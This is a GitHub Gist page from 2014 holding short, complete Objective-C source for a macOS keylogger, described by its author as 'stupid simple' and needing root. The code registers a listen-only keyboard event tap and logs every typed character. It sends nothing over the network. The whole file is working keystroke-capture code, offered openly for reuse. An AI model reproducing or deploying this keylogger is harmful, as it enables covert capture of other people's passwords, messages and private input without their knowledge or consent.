Created
October 8, 2014 22:09
-
-
Save Januzellij/8c5f53f83e8b6fa70412 to your computer and use it in GitHub Desktop.
Stupid simple keylogger. Requires root privileges.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#import <Foundation/Foundation.h> | |
CGEventRef keyDownCallback (CGEventTapProxy proxy, CGEventType type, CGEventRef event, void *refcon) { | |
UniCharCount count; | |
UniChar chars[1]; | |
UniCharCount maxStringLength = 1; | |
CGEventKeyboardGetUnicodeString(event, maxStringLength, &count, chars); | |
NSString *string = [NSString stringWithCharacters:chars length:1]; | |
NSLog(@"%@", string); | |
return event; | |
} | |
int main(int argc, const char * argv[]) { | |
@autoreleasepool { | |
CFMachPortRef keyDownEventTap = CGEventTapCreate(kCGHIDEventTap, | |
kCGHeadInsertEventTap, | |
kCGEventTapOptionListenOnly, | |
CGEventMaskBit(kCGEventFlagsChanged) | CGEventMaskBit(kCGEventKeyDown), | |
&keyDownCallback, NULL); | |
CFRunLoopSourceRef keyUpRunLoopSourceRef = CFMachPortCreateRunLoopSource(NULL, keyDownEventTap, 0); | |
CFRelease(keyDownEventTap); | |
CFRunLoopAddSource(CFRunLoopGetCurrent(), keyUpRunLoopSourceRef, kCFRunLoopDefaultMode); | |
CFRelease(keyUpRunLoopSourceRef); | |
CFRunLoopRun(); | |
} | |
return 0; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment